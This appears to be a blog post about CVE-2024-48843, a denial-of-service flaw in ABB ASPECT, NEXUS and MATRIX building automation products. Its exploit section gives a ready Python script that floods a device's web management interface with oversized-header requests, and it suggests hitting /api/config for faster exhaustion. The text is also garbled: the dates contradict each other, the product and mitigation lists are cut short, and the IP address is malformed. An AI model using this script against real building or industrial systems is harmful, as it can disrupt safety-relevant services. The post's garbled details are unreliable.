In June 2024, a new Denial of Service (DoS) vulnerability, CVE-2024-48843, sent waves through the building automation and industrial control sectors. Affecting three major ABB products—ASPECT Enterprise, NEXUS Series, and MATRIX Series (all at version 3.08.02)—this flaw opens a pathway for attackers to disrupt device services, potentially causing significant operational downtime.

In this post, we break things down in simple terms, explore technical details with code examples, and provide exclusive insights into exploit methods. We’ll also link to all original references for your verification and further research.

What Is CVE-2024-48843?

CVE-2024-48843 is a Denial of Service (DoS) vulnerability. In practical terms, it means an attacker can make an affected device stop working for legitimate users, sometimes requiring a full system reboot or admin intervention to restore normal operation.

MATRIX Series v3.08.02

These are widely used in facility management, HVAC systems, and other critical environments, so service disruption can have a big real-world impact.

How Does the Vulnerability Work?

ABB’s products expose management interfaces (typically web-based or network services) that, due to improper input validation and session management, can be overwhelmed by specially crafted network requests. The flaw is best classified under improper resource allocation/limiting.

An attacker (requires only network access) can send repeated malformed packets or HTTP requests that consume system resources (CPU/RAM), eventually denying services to legitimate users and sometimes freezing the device altogether.

Step-By-Step Exploit Scenario

Let’s see how an attacker might use this vulnerability in the real world. The scenario below uses a simple Python script to automate the attack. (Check your local network laws before testing!)

1. Identify a Target

First, the attacker scans for exposed ABB ASPECT, NEXUS, or MATRIX systems on the network, usually listening on specific HTTP or management ports (commonly 80, 443, or a default management port).

import requests

target_ip = "192..2.10"  # Replace with the device's IP address
port = 80

url = f"http://{target_ip}:{port}/";

2. Craft Malicious Requests

The attacker found that sending specially malformed GET requests with oversized headers or parameters floods the management server’s memory queue.

oversized_header = {"User-Agent": "A"*10000}
for i in range(100):  # Rapid-fire loop
    try:
        resp = requests.get(url, headers=oversized_header, timeout=1)
        print(f"Sent: {i+1} -> {resp.status_code}")
    except Exception as ex:
        print(f"Attempt {i+1} failed: {ex}")

3. Service Disruption

Within a short time, the web management server stops responding. Sometimes, the only fix is a manual reboot.

*Note: The actual payload may vary depending on device configuration—some reports show that sending requests to specific endpoints (like /api/config) yield faster service exhaustion.*

Prevention and Mitigation

ABB has released a security advisory (see official ABB advisory) with recommended steps:

Firewalling: Block untrusted network segments from reaching device management interfaces.

4. Monitor: Watch for abnormal traffic bursts or unexpected unresponsiveness in building automation devices.

References

- NVD: CVE-2024-48843
- ABB Security Advisory (PDF)
- ABB ASPECT Product Page

Final Thoughts

While the nature of this vulnerability is straightforward, its impact is serious. Denial of Service attacks in building management and industrial environments can mean more than just inconvenience—they can jeopardize safety, energy efficiency, even compliance. If you operate ABB ASPECT Enterprise, NEXUS, or MATRIX Series (v3.08.02), patch and protect your systems now.

For continued updates, follow reputable sources like US-CERT or ABB’s security portal.

Timeline

Published on: 12/05/2024 13:15:06 UTC